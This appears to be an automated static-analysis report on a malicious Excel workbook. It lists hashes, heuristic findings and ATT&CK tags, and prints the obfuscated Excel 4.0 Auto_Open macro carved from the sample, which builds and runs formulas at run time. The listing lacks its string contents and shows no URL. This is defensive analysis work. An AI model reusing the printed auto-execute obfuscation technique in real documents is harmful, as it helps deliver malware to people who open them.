Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e02a60fcbeab7cb5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:00 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 0554b7386ea58be7cf6e67abba0ffe2d SHA-1: 0ee567f7353b31c38cbc8c289be8cec8e769f3a6 SHA-256: e02a60fcbeab7cb5f81ac2a48509a95af40fd195b552a64fac719a3861551aaf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The critical heuristic firings indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands or exploit vulnerabilities. No specific IOCs like URLs or file paths were directly extracted from the macro content.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6372 bytes
SHA-256: 0dfa6cf6ee97f74957f6aa40f4666f640c0348360cc29abc0f593d0834754d2a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HBeIN
' 0018     24 LABEL : Cell Value, String Constant - AOsSMIpOv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A180 
' 0018     24 LABEL : Cell Value, String Constant - dJxPMJnXf len=0 
' 0018     20 LABEL : Cell Value, String Constant - dnWfQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - GgveyC len=0 
' 0018     25 LABEL : Cell Value, String Constant - hNnscKhhoL len=0 
' 0018     20 LABEL : Cell Value, String Constant - lfSMj len=0 
' 0018     24 LABEL : Cell Value, String Constant - LfUsnCKHk len=0 
' 0018     25 LABEL : Cell Value, String Constant - LwoaxOTGpb len=0 
' 0018     21 LABEL : Cell Value, String Constant - OczeZP len=0 
' 0018     20 LABEL : Cell Value, String Constant - OFPFg len=0 
' 0018     22 LABEL : Cell Value, String Constant - oHmzHzk len=0 
' 0018     23 LABEL : Cell Value, String Constant - oMuRGuBA len=0 
' 0018     20 LABEL : Cell Value, String Constant - qKxIp len=0 
' 0018     23 LABEL : Cell Value, String Constant - QqIZyKsx len=0 
' 0018     25 LABEL : Cell Value, String Constant - ScxAnDGcTR len=0 
' 0018     25 LABEL : Cell Value, String Constant - SQZpvpgShn len=0 
' 0018     23 LABEL : Cell Value, String Constant - TnGJkJoa len=0 
' 0018     21 LABEL : Cell Value, String Constant - WChMkz len=0 
' 0018     23 LABEL : Cell Value, String Constant - xbgJEIRy len=0 
' 0018     20 LABEL : Cell Value, String Constant - yUnZt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HBeIN,A100,"SET.NAME("lfSMj",VALUE("0"))",""
'  HBeIN,A102,"SET.NAME("dnWfQ",lfSMj)",""
'  HBeIN,A104,"SET.NAME("yUnZt",lfSMj)",""
'  HBeIN,A107,"SET.NAME("ScxAnDGcTR",COUNTA(TnGJkJoa))",""
'  HBeIN,A109,"SET.NAME("oHmzHzk",COUNTA(qKxIp))",""
'  HBeIN,A112,[],""
'  HBeIN,A115,"SET.NAME("dJxPMJnXf","")",""
'  HBeIN,A119,"dnWfQ",""
'  HBeIN,A122,"SET.NAME("LwoaxOTGpb",HLOOKUP("*",TnGJkJoa,dnWfQ,FALSE))",""
'  HBeIN,A126,"hNnscKhhoL",""
'  HBeIN,A130,"SET.NAME("OczeZP",lfSMj)",""
'  HBeIN,A132,[],""
'  HBeIN,A136,"OczeZP",""
'  HBeIN,A139,"SQZpvpgShn",""
'  HBeIN,A142,"WChMkz",""
'  HBeIN,A144,"OFPFg",""
'  HBeIN,A147,"SET.NAME("xbgJEIRy",VALUE(HLOOKUP("*",qKxIp,OFPFg,FALSE)))",""
'  HBeIN,A149,"LfUsnCKHk",""
'  HBeIN,A153,"dJxPMJnXf",""
'  HBeIN,A158,"yUnZt",""
'  HBeIN,A163,NEXT(),""
'  HBeIN,A167,"oMuRGuBA",""
'  HBeIN,A169,"SET.NAME("f",INT(T(FORMULA(T(dJxPMJnXf)&"",""&T(oMuRGuBA)))))",""
'  HBeIN,A172,"AOsSMIpOv",""
'  HBeIN,A174,NEXT(),""
'  HBeIN,A176,RETURN(),""
'  HBeIN,A207,"SET.NAME("GgveyC",A100)",""
'  HBeIN,A209,"TnGJkJoa",""
'  HBeIN,A212,"SET.NAME("qKxIp",R45C12)",""
'  HBeIN,A215,"SET.NAME("AOsSMIpOv",223)",""
'  HBeIN,A217,"SET.NAME("QqIZyKsx",1)",""
'  HBeIN,A222,GgveyC(),""
'  HBeIN,A223,HALT(),""